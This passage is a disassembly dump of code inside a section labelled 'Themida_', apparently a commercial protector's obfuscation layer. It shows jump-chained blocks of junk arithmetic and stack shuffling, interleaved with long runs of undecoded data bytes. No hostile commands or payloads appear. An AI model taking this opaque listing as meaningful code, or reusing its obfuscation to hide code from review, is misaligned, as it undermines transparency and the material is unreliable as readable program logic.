		dd 137468h, 242C8900h, 601DE9h,	242C8700h, 776E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E02B2:				; CODE XREF: Themida_:005DDF5Ej
		pop	eax
		push	ebx
		mov	ebx, 409C4A0Eh
		not	ebx
		neg	ebx
		add	ebx, 852EC1ACh
		sub	esi, ebx
		pop	ebx
		add	eax, esi
		pop	esi
		push	4CA3h
		mov	[esp], edx
		push	408h
		mov	[esp], ebx
		push	edi
		mov	edi, 800h
		push	0AAh
		jmp	loc_5DE03F
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 0EEh
		dd 0F7759415h, 7CE956DAh, 0C1FFFFE1h, 1CE905EBh, 83000061h
		dd 0EF8104C4h, 3E791795h, 2F89F781h, 0FA89042Fh, 8BD5095Fh
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	ebp, 54831E1Dh
		add	ebp, 0A2BBB17h
		add	eax, 511E2C18h
		sub	eax, ebp
		jmp	loc_5E8F54
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 1AB7E9h, 2474FF00h, 48F5904h, 0E9D1F724h, 0FFFFE5A3h
		dd 0C181E929h, 790237F8h, 4FF515Dh, 0F775E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E036A:				; CODE XREF: Themida_:005DF493j
		add	eax, 0CB70406Bh
		xor	ecx, eax
		pop	eax
		shr	ecx, 6
		add	ecx, 72C25E21h
		sub	ecx, 72C8A36Dh
		push	ecx
		xor	dword ptr [esp], 0F0853F2h
		pop	edi
		jmp	loc_5DF475
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0B1E9D831h, 50FFFFE7h, 0E230F1B4h, 0C03E9h, 5FF90100h
		dd 0E981C101h, 52626316h, 4C18158h, 87000000h, 0C75C240Ch
		dd 1DF62447h, 0CA683274h, 89000013h, 6851241Ch,	789744B0h
		dd 0F4C98159h, 41629248h, 0E981D9F7h, 9CC5C94h,	4DEAE9h
		dd 5EF00100h, 37D9E9h, 0E9525600h, 1824h, 65BE5659h, 8101FC16h
		dd 0FF7192C6h, 4E6C139h, 6129E9h, 0C2BA5200h, 424EF813h
		dd 3BB9EA81h, 0EAC17527h, 88F28104h, 315A5D56h,	7CA3E9D3h
		dd 0E2810000h, 18DA158Bh, 118DF281h, 0D50118CAh, 0FFDFA1E9h
		dd 240C29FFh, 2966E9h, 1A376800h, 4890000h, 74E95224h
		dd 8B000087h, 5CE92434h, 87FFFFDBh, 41D1F7D9h, 0E44EF181h
		dd 0CD219847h, 0CEED8159h, 81032D54h, 657DF2C5h, 4EC8164h
		dd 89000000h, 0CB82404h, 0F7197E29h, 7A342DD8h,	0F1E93723h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E0487:				; CODE XREF: Themida_:005E058Aj
		mov	ecx, edi
		pop	edi
		jmp	loc_5E5F36
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 68ADE900h, 0E7890000h,	4EE7E9h, 4C58100h, 81000000h
		dd 4EDh, 242C8700h, 2404895Ch, 7B163F68h, 2325585Ch, 2D301A47h
		dd 0BADDFE8Eh, 5558C689h, 8A373EBDh, 4EDC121h, 5608C581h
		dd 0EE290103h, 0E9242C8Bh, 277Ch, 33243C31h, 248B243Ch
		dd 51E1F724h, 0C181E189h, 4, 8704E983h,	0FDE9240Ch, 0B8000038h
		dd 29CD1A50h, 0A435E0D1h, 1539A34h, 148758C2h, 24248B24h
		dd 5E27E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E0519:				; CODE XREF: Themida_:005DDF3Ej
		shl	eax, 7
		sub	eax, 0C7CEB333h
		add	edx, eax
		pop	eax
		add	edx, ebp
		push	ebx
		jmp	loc_5E3084
; ---------------------------------------------------------------------------


loc_5E052C:				; CODE XREF: Themida_:005E9301j
		mov	eax, 449D02B1h
		inc	eax
		add	eax, 85786927h
		xor	ebx, eax
		pop	eax
		add	edx, ebx
		jmp	loc_5DE60F
; ---------------------------------------------------------------------------


loc_5E0541:				; CODE XREF: Themida_:005E13B4j
		xor	esi, 6B315759h
		jmp	loc_5E82AF
; ---------------------------------------------------------------------------
aFnsfv		db 'ff',0
		dw 8100h
		dd 4ECh, 48F5400h, 4EC8124h, 89000000h,	56572404h, 924127BEh
		dd 5EF7896Dh, 924123B8h, 73CBE96Dh, 0FE880000h,	292E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E0581:				; CODE XREF: Themida_:005E80E8j
		shr	edi, 7
		sub	edi, 0B80F9B5Eh
		jmp	loc_5E0487
; ---------------------------------------------------------------------------
aLSih		db '$$H',0
		dw 6400h
		dd 2B60F66h, 60EE6866h,	24048966h, 0FFD615E9h, 240C89FFh
		dd 0BDE996B5h, 8900001Bh, 79E9240Ch, 0FF000080h, 24E92434h
		dd 89000010h, 2D83E9E1h, 0E6890000h, 4B951h, 0CE010000h
		dd 3CEE6859h, 1FE90000h, 5900002Dh, 81E78957h, 4C7h, 4B85000h
		dd 1000000h, 0FF5758C7h, 5F042474h, 5C24048Fh, 840FC90Bh
		dd 4C7Ch, 6DE468h, 48F5400h, 763E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E0612:				; CODE XREF: Themida_:005E8364j
		push	1FF8h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------


loc_5E0621:				; CODE XREF: Themida_:005E99EFj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_5E35C9
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 20AA76BEh
		mov	edi, ecx
		jmp	loc_5E2462
; ---------------------------------------------------------------------------
		dw 0E929h
		dd 0A8F1815Dh, 1DA19E3h, 0E681E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E0662:				; CODE XREF: Themida_:005E7FC1j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		dw 55Eh
a6OSF		db '6~o)f',0
		dw 100h
		dd 0EECFE9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E0682:				; CODE XREF: Themida_:005DDF01j
		mov	[esp], ebx
		pop	eax
		push	57DFh
		mov	[esp], ebx
		push	ebp
		jmp	loc_5E92AB
; ---------------------------------------------------------------------------


loc_5E0694:				; CODE XREF: Themida_:005E92D1j
		xor	ebp, eax
		pop	eax
		mov	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 5985349h
		and	ebx, edx
		pop	edx
		not	ebx
		inc	ebx
		jmp	loc_5E89DE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 59CE2900h, 0BB53C601h,	2A1E74F4h, 15E9DE01h, 0C1000007h
		dd 0C98103E9h, 55297839h, 837BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E06D1:				; CODE XREF: Themida_:005E85DDj
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C3h, 4C38300h, 5C241C87h, 7E23E9h, 0CDC38100h, 0E90F027Ah
		dd 3E81h
; ---------------------------------------------------------------------------


loc_5E06F4:				; CODE XREF: Themida_:005DEB03j
		push	ecx
		push	eax
		mov	eax, 13A17F02h
		or	eax, 6ECC5B1Eh
		jmp	loc_5E5C7A
; ---------------------------------------------------------------------------
		db 1, 0DEh, 53h
		dd 0C073C7BBh, 8BDE012Bh, 0C481241Ch, 4, 0FFF1BDE9h, 242C81FFh
		dd 15247F6h, 5628E9h, 148B6600h, 3011E924h, 0EE010000h
		dd 0E189515Dh, 4C181h, 0E9810000h, 4, 5C240C87h, 51243C89h
		dd 0FFDC45E9h, 2924BBFFh, 0D8890AEEh, 5E0C15Bh,	105h, 0BD555700h
		dd 324101Fh, 0B6ED814Dh, 89A35ED7h, 20E95DEFh, 6600008Eh
		dd 52240C8Bh, 0C281E289h, 4, 8704EA83h,	895C2414h, 5A542414h
		dd 4B951h, 0CA010000h, 0E9240C8Bh, 8499h, 0E9E951ACh
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E07A7:				; CODE XREF: Themida_:005E4C4Bj
		mov	esp, [esp]
		shr	ecx, 2
		jmp	loc_5E5EB3
; ---------------------------------------------------------------------------
		dw 5954h
		dd 4C181h, 68550000h, 722Fh, 68240489h,	706A7E4Dh, 0FBBF5758h
		dd 2173B272h, 0AE95FF8h, 500006Dh, 7ADD0929h, 76E6E9h
		dd 5EF00100h, 0DC2DD001h, 5A1D4917h, 7073C681h,	0C601696Dh
		dd 7073EE81h, 0E958696Dh, 59A5h, 0E9241C89h, 2AA3h, 240C8B66h
		dd 0EFE95455h, 5B00007Dh, 0F028432Ch, 148B4304h, 4C48324h
		dd 0E951F028h, 41C6h, 0B2018FB8h, 80BD5516h, 0E9472542h
		dd 3333h, 2892C381h, 0C3296602h, 2892EB81h, 0C3816602h
		dd 3552626Dh, 0DCC38158h, 813D0111h, 6E26BCEBh,	81C32943h
		dd 6E26BCC3h, 2073E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E0866:				; CODE XREF: Themida_:005DF769j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 77305C3Bh
		jmp	loc_5E6277
; ---------------------------------------------------------------------------
		dw 6C01h
		dd 34FF0424h, 0C4815D24h, 4, 0FFDC00E9h, 8CEA81FFh, 0E953D936h
		dd 0FFFFF32Ch, 81E28952h, 4C2h,	0B13E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E08A6:				; CODE XREF: Themida_:005E8464j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5DE6F9
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 13h
		dd 0F7438167h, 70C781D7h, 0E9CA55A4h, 4B7Dh, 5D72EEBBh
		dd 5BD90150h, 0E959CD31h, 3A2Eh
; ---------------------------------------------------------------------------


loc_5E08D4:				; CODE XREF: Themida_:005DF0B3j
		mov	ch, 2Ch
		add	bl, 8Dh
		sub	bl, ch
		sub	bl, 8Dh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		push	edx
		jmp	loc_5E65CF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2C18300h, 4B2E68h, 240C8900h, 42474FFh, 0E92434FFh
		dd 0FFFFE9E9h, 1AD86851h, 0EBE9357Bh, 8100006Eh, 20CD5F3h
		dd 0D10E961h, 4890000h,	4EC8324h, 0E9242489h, 32Dh
; ---------------------------------------------------------------------------


loc_5E0930:				; CODE XREF: Themida_:005E2065j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5DEE53
; ---------------------------------------------------------------------------


loc_5E093E:				; CODE XREF: Themida_:005DDBF0j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	eax, 280A697Eh
		jmp	loc_5DF6C2
; ---------------------------------------------------------------------------
		dd 0E930FF66h, 0FFFFD246h, 0FFD241E9h, 2434FFFFh, 81240C8Bh
		dd 4C4h, 0F7685300h, 54000053h,	2392E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E0995:				; CODE XREF: Themida_:005E6F2Cj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5E41F3
; ---------------------------------------------------------------------------


loc_5E09AA:				; CODE XREF: Themida_:005E6F53j
		pop	eax
		add	eax, 4
		jmp	loc_5DF1FC
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0F5h
		dd 567C7D23h, 0E732C6BEh, 53E95501h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E09C7:				; CODE XREF: Themida_:005DFF27j
		neg	eax
		xor	eax, 532C54A2h
		shr	eax, 8
		jmp	loc_5E4D7E
; ---------------------------------------------------------------------------
		dw 48Fh
aS_4		db '$ ]',0
		align 2


loc_5E09DE:				; CODE XREF: Themida_:005E747Ej
		shl	esi, 3
		push	ebx
		jmp	loc_5E9E87
; ---------------------------------------------------------------------------
aTlSae		db 'T<$靅',0
		align 10h
		dd 0C781DFF7h, 8FA41D7Ah, 3C8BF831h, 4C48124h, 55000000h
		dd 771EE9h, 40500h, 4050000h, 87000000h, 895C2404h, 5571E9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E0A1E:				; CODE XREF: Themida_:005DDE3Cj
		mov	esi, 0BD32761h
		jmp	loc_5DE7F0
; ---------------------------------------------------------------------------
		dd 34FF5456h, 0C4815E24h, 4, 7F69E9h, 0C8B6600h, 71EA6824h
		dd 98E90000h, 1FFFFDEh,	241C8BDFh, 4C481h, 0FF570000h
		dd 0FF042474h, 815F2434h, 4C4h,	24048F00h, 1C35E9h, 0E9DDF700h
		dd 43E0h, 329F68h, 241C8900h, 2A7068h, 24348900h, 1C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E0A85:				; CODE XREF: Themida_:005E56C8j
		add	edx, 4
		jmp	loc_5E6C88
; ---------------------------------------------------------------------------


loc_5E0A8D:				; CODE XREF: Themida_:005DDD19j
		sub	bl, al
		add	bl, 5Fh
		push	dx
		mov	dl, 8Dh
		shr	dl, 2
		push	ecx
		jmp	loc_5DF740
; ---------------------------------------------------------------------------
		db 5Bh
		dd 114EEA81h, 15B457Eh,	549FE9C2h, 68530000h, 77F168BAh
		dd 0E92434FFh, 92B6h, 0FFD0FDE9h, 52D104FFh, 0BAE929B2h
		dd 6600008Fh, 8124048Bh, 4ECh, 24048900h, 600768h, 24248900h
		dd 4240481h, 58000000h,	417CE9h, 0D0CAFE00h, 0E5F280E2h
		dd 0F4C280h, 0E9515AD7h, 0FFFFEB1Dh, 46E0E281h,	0C2817D3Ch
		dd 735B5286h, 1452CA81h, 0EA817683h, 0F7E79D72h, 0E95AD701h
		dd 13D5h, 29F4E9ADh, 81590000h,	4377D1C3h, 0E9CB0162h
		dd 0FFFFEEA3h, 9D1C77FFh, 1CD25966h, 35E99C24h,	68FFFFFEh
		dd 2944h, 57240489h, 706C74BFh,	97CF811Dh, 816F7707h, 0C46752CFh
		dd 0B7B85011h, 2D3DA413h, 41A81300h, 1945E9h, 66F02800h
		dd 28CEB551h, 5A5966E8h, 4EC81h, 26E90000h, 51FFFFFAh
		dd 0EA1112B9h, 25E9551Fh
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E0B8F:				; CODE XREF: Themida_:005DFADAj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5E4C3B
; ---------------------------------------------------------------------------
		db 58h,	68h, 0A6h
		dd 89000006h, 4BD242Ch,	0E9000000h, 8436h
; ---------------------------------------------------------------------------


loc_5E0BB4:				; CODE XREF: Themida_:005E6259j
		mov	esi, 0F822A1E4h
		xor	edi, esi
		pop	esi
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	301Bh
		mov	[esp], esi
		mov	esi, 59434EB5h
		add	ebx, esi
		pop	esi
		push	esi
		mov	esi, 6579630Fh
		xor	esi, 4B5C2F9Ch
		jmp	loc_5E4584
; ---------------------------------------------------------------------------
aYsV		db 'Y!v',0
		align 2
a1111Huq	db '1111huq',0
		dw 8900h
		dd 0C872414h, 3863E924h, 0E7890000h, 4C781h, 0EF830000h
		dd 0F53CE904h, 0C481FFFFh, 4, 0FA30DEB2h, 81241C8Bh, 4C4h
		dd 4E2C000h, 26F7E9h, 2434FF00h, 0E954515Eh, 109Ah
; ---------------------------------------------------------------------------


loc_5E0C3C:				; CODE XREF: Themida_:005DE8DAj
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5E282A
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 89000000h, 0ED815EF3h, 4C720DDh, 0FFF43AE9h,	240483FFh
		dd 0FF3BE904h, 0F229FFFFh, 0ECFFE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E0C6E:				; CODE XREF: Themida_:005E922Bj
		mov	ebx, 1E1B4940h
		mov	esi, 66503CEBh
		xor	esi, ebx
		pop	ebx
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		or	ebp, 38700283h
		push	ecx
		mov	ecx, 29775DA1h
		jmp	loc_5E33EA
; ---------------------------------------------------------------------------
		dd 3C2B68h, 60CC6800h, 24890000h, 6874E924h, 34FF0000h
		dd 24048B24h, 5004C483h, 0FFE555E9h, 59CE01FFh,	5B3068h
		dd 24148900h, 4BAh, 8BD60100h, 89522414h, 4C281E2h, 83000000h
		dd 148704C2h, 0D72DE924h, 3489FFFFh, 6AC66824h,	1C890000h
		dd 3C96824h, 36E90926h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E0CF3:				; CODE XREF: Themida_:005E397Bj
		xchg	edx, ecx
		jmp	loc_5E0D59
; ---------------------------------------------------------------------------


loc_5E0CFA:				; CODE XREF: Themida_:005DE822j
		and	eax, 16B94985h
		neg	eax
		sub	eax, 7247536Ah
		xor	eax, 0C54511D0h
		mov	ecx, eax
		pop	eax
		shl	ecx, 1
		add	ecx, 0F28681FEh
		or	eax, ecx
		pop	ecx
		neg	eax
		jmp	loc_5DFAE5
; ---------------------------------------------------------------------------
		dd 4240483h, 0E924148Bh, 4786h,	4EC81h,	14890000h, 8302E924h
		dd 0EB810000h, 15216A7Dh, 5D2434FFh, 8704C483h,	0D35C241Ch
		dd 6BE92424h, 43FFFFCEh, 0FFFBBEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E0D59:				; CODE XREF: Themida_:005E0CF5j
		xchg	edx, ecx
		jmp	loc_5E1DF7
; ---------------------------------------------------------------------------
		dd 24048B66h, 647B68h, 24148900h, 24148B54h, 6086E9h, 0BE565000h
		dd 6C71141Dh, 81DEF74Eh, 327E8FF6h, 3EEC12Ch, 92A9F681h
		dd 0F08917F7h, 61DAE95Eh, 4330000h, 8B665C24h, 0B468240Ch
		dd 0E9000064h, 15DEh, 81240C8Bh, 4C4h, 0DDCE900h, 0D8010000h
		dd 0E5BE565Bh, 8116C75Ch, 6A122BC6h, 81DEF732h,	655733F6h
		dd 0B2BB5339h, 0E9616732h, 0FFFFF51Fh, 8C25E95Bh, 0E9510000h
		dd 0FFFFEDA3h, 4C181h, 0E9830000h, 240C8704h, 8924248Bh
		dd 13E92404h, 0BBFFFFE7h, 52AA7FB9h, 0FFE60EE9h, 48B66FFh
		dd 0EC835724h, 241C8904h, 51E9E389h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E0E17:				; CODE XREF: Themida_:005DE318j
		add	esp, 2
		sub	bl, al
		jmp	loc_5DE297
; ---------------------------------------------------------------------------
		db 0BEh, 0Eh, 4Ch
		dd 0C6815506h, 293A6DE8h, 14F9E681h, 0C681041Dh, 6E7C1628h
		dd 0EED1D6F7h, 0EC77F681h, 0F58946C1h, 4E4DE9h,	6FBFBD00h
		dd 0B8502737h, 23592479h, 0EB4EBA2Dh, 0CEA3E940h, 0C581FFFFh
		dd 0E1A08C1h, 5E5C145h,	0FBCED81h, 0EB018341h, 4EB815Dh
		dd 87000000h, 248B241Ch, 243C8924h, 161A9EBFh, 95B85018h
		dd 4041BD41h, 6ABEE9h, 8E8C100h, 0EF68C831h, 0E900005Dh
		dd 0FFFFEA58h, 8B2434FFh, 0C481240Ch, 4, 8904EC83h, 0E389241Ch
		dd 4EC81h, 14890000h, 7ACABA24h, 0F2815B08h, 5B087ACEh
		dd 815AD301h, 4C3h, 241C8700h, 173AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E0ED9:				; CODE XREF: Themida_:005E010Cj
		push	ebp
		push	esi
		push	513F12ECh
		pop	esi
		sub	esi, 862C998h
		mov	ebp, esi
		pop	esi
		jmp	loc_5E0133
; ---------------------------------------------------------------------------


loc_5E0EEF:				; CODE XREF: Themida_:005DE1F4j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_5E906D
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 66E9515Ah, 8B00001Ah, 7AE9243Ch, 8B00005Bh, 0C4812434h
		dd 4, 4C681h, 0EC810000h, 4, 0E9241489h, 1B53h,	59241CF7h
		dd 2DBF181h, 0F2E9767Ah, 8B000068h, 0C481240Ch,	4, 41B768h
		dd 240C8900h, 0C1815954h, 4, 4BB5352h, 89000000h, 241C8BDAh
		dd 4C481h, 0C1810000h, 699868DBh, 9E9D101h, 83000048h
		dd 0C3304C1h, 240C3124h, 599EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E0F7D:				; CODE XREF: Themida_:005E6F15j
		sub	al, 33h
		not	al
		sub	al, 55h
		add	cl, al
		pop	eax
		jmp	loc_5E685B
; ---------------------------------------------------------------------------
		db 66h
		dd 1C8BD831h, 4C48324h,	0BD665566h, 1663018h, 0E95D66E8h
		dd 3795h, 0D853E958h, 305CFFFFh, 0C8B66C8h, 46E95524h
		dd 50000005h, 8F8CE9h, 0BA525C00h, 3B73C6Eh, 41B3BE56h
		dd 0DEF76E72h, 0FFF216E9h, 692E68FFh, 32E90000h, 89FFFFD7h
		dd 0DECEE9D5h, 0C329FFFFh, 69EC381h, 0EB812AF3h, 538E2FF7h
		dd 1908B850h, 0C301470Ch, 4EC8358h, 0BF243C89h,	14963391h
		dd 815FFB01h, 0D54E00EAh, 0E4C28105h, 0E905430Ch, 62B0h
		dd 15DEA29h, 24148BD1h,	0FFF8CAE9h, 242C8BFFh, 4C481h
		dd 0C0830000h, 24048704h, 0CB84E95Ch, 77FFFFFFh, 19589D1Ch
		dd 0E99C2404h, 0FFFFCB76h, 0E2895259h, 4C281h, 0C2830000h
		dd 24148704h, 0FE33E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E105E:				; CODE XREF: Themida_:005DF47Ej
		add	esp, 4
		jmp	loc_5E49A6
; ---------------------------------------------------------------------------
		db 0Bh,	0C0h, 0Fh
		dd 0FFCD3284h, 1C77FFFFh, 50240C8Bh, 405E089h, 2D000000h
		dd 4, 8B240487h, 34892424h, 78E95424h, 25FFFFFEh, 6AB5A3Dh
		dd 0A44EB005h, 17E95261h, 100007Fh, 1F84E9F9h, 0EB810000h
		dd 5214516Ah, 0C381C329h, 5214516Ah, 241C8758h,	8924248Bh
		dd 0D7E92414h, 81000050h, 556AA2E5h, 8EDC179h, 4869BF57h
		dd 684714C1h, 0
		dd 5F243C29h, 4AA7B850h, 0D0F772D5h, 2D04E8C1h,	3D0C24D8h
		dd 0E902E0C1h, 516Dh, 72DE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E10FE:				; CODE XREF: Themida_:005E115Ej
		mov	[esp], ebx
		jmp	loc_5E2275
; ---------------------------------------------------------------------------
aFbFbU4hL	db 'f,',0Bh,'fU4h',7,'l',0
		dd 24048900h, 698EB866h, 66E0D166h, 6620082Dh, 6806E0C1h
		dd 7E67h, 66241C89h, 0E92B7ABBh, 797h, 4240483h, 4C5815Dh
		dd 51000000h, 468h, 64E95900h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E114F:				; CODE XREF: Themida_:005E7617j
		pop	dword ptr [esp]
		jmp	loc_5E7469
; ---------------------------------------------------------------------------


loc_5E1157:				; CODE XREF: Themida_:005E8AD2j
		pop	esp
		sub	esp, 4
		jmp	loc_5E10FE
; ---------------------------------------------------------------------------


loc_5E1163:				; CODE XREF: Themida_:005E8E2Bj
		mov	[esp], ecx
		push	ebx
		jmp	loc_5E578A
; ---------------------------------------------------------------------------
		dd 69B1EF81h, 0FB0170C6h, 58E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E1179:				; CODE XREF: Themida_:005E1D7Dj
		push	ecx
		jmp	loc_5E5656
; ---------------------------------------------------------------------------
		db 81h
		dd 0C02507F7h, 5FF9011Dh, 1C35E9h, 10426800h, 3C890000h
		dd 61ABF24h, 0BE56691Dh, 41AA74E7h, 0C15EF701h,	0B95107EFh
		dd 3CEA8036h, 5172E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E11B1:				; CODE XREF: Themida_:005E8493j
		mov	esp, [esp]
		mov	[esp], ebx
		pop	edi
		push	edi
		pop	eax
		pop	edi
		push	16F8h
		mov	[esp], ebx
		push	0F09h
		mov	[esp], edx
		push	40000h
		mov	edx, [esp]
		jmp	loc_5DF80C
; ---------------------------------------------------------------------------
		dd 34FF6504h
		db 24h,	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_5E7FB4
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 69h
		dd 0C15E9044h, 814D06E5h, 0D1CCD6C5h, 5DE80172h, 6B35A205h
		dd 36C4E947h, 2BD0000h,	1000000h, 56E95DEBh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E1217:				; CODE XREF: Themida_:005DF6A6j
		mov	eax, 0FFFFFFFFh
		push	ecx
		mov	ecx, eax
		push	ecx
		pop	ebp
		pop	ecx
		pop	eax
		add	dword ptr [esp+4], 474C71C1h
		sub	[esp+4], ebp
		push	eax
		mov	eax, 474C71C1h
		sub	[esp+8], eax
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_5E1246:				; CODE XREF: Themida_:005E2492j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5E3DC8
; ---------------------------------------------------------------------------


loc_5E125E:				; CODE XREF: Themida_:005E8E97j
		mov	eax, 56604154h
		mov	esi, eax
		pop	eax
		and	esi, 2DEE7BF1h
		push	ebx
		jmp	loc_5E2290
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 4245C01h,	24048B5Bh, 74CEE9h, 24BF5700h, 0E9000000h
		dd 38F7h, 0E9241C8Bh, 3A89h, 3036F780h,	3637E9F8h, 295A0000h
		dd 8BE952C6h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E12AB:				; CODE XREF: Themida_:005E309Bj
		and	ecx, 57E417D8h
		xor	ecx, 1404h
		mov	eax, ecx
		pop	ecx
		add	ebx, eax
		pop	eax
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5E869D
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 52D3EF81h, 11E9530Dh, 5CFFFFF9h, 54241C89h, 4C3815Bh
		dd 83000000h, 1C8704C3h, 24248B24h, 531DE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E12F2:				; CODE XREF: Themida_:005E72F3j
		add	eax, esi
		pop	esi
		jmp	loc_5E8ACF
; ---------------------------------------------------------------------------
aPsab		db 'Pa',0
		align 10h


loc_5E1300:				; CODE XREF: Themida_:005E3259j
		pop	esp
		push	7226h
		mov	[esp], esi
		jmp	loc_5E99E8
; ---------------------------------------------------------------------------
		dw 0F580h
		dd 59EE3050h, 881FF680h, 0EDC05AF5h, 296FE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E1322:				; CODE XREF: Themida_:005E193Bj
		mov	dh, 0BDh
		push	ebx
		push	edx
		mov	dh, 79h
		mov	bl, 27h
		sub	bl, 45h
		add	bl, 34h
		add	bl, dh
		sub	bl, 34h
		add	bl, 45h
		pop	edx
		and	bl, 3Fh
		and	bl, 0CBh
		shl	bl, 3
		sub	bl, 5Eh
		sub	al, bl
		pop	ebx
		jmp	loc_5DE2FA
; ---------------------------------------------------------------------------
		db 4Fh,	81h, 0F7h
		dd 0B163C4B7h, 0E1E9F989h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E135B:				; CODE XREF: Themida_:005E8336j
		xor	edi, ecx
		jmp	loc_5E7460
; ---------------------------------------------------------------------------
aBC@		db 'c@',0
		dd offset dword_561D48+6A1h
		dd 0E9E95100h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E1373:				; CODE XREF: Themida_:005E44DCj
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_5E7F3A
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 0B3E98102h, 90FDD79h, 0EB8159CBh, 3BC35E77h,	0E95BDA01h
		dd 0C2Fh
; ---------------------------------------------------------------------------


loc_5E1398:				; CODE XREF: Themida_:005DDD11j
		mov	esi, 13B33249h
		and	esi, 33921520h
		shr	esi, 4
		and	esi, 74F874A9h
		not	esi
		and	esi, 43BB06ECh
		jmp	loc_5E0541
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 4
		dd 6E78E9h, 0CEEA8100h,	812509C4h, 0C37339EBh, 81D3014Fh
		dd 0C37339C3h, 24148B4Fh, 3304C483h, 1C31241Ch,	1C4EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E13E6:				; CODE XREF: Themida_:005E71B3j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 77A932D7h
		add	ecx, 0B3DED08Dh
		sub	eax, 46F22211h
		sub	eax, ecx
		add	eax, 46F22211h
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5E37CA
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFED64E9h, 241C89FFh, 22ABE56h, 24E9116Fh, 29000025h
		dd 0FCCAE9FDh
		db 2 dup(0FFh)
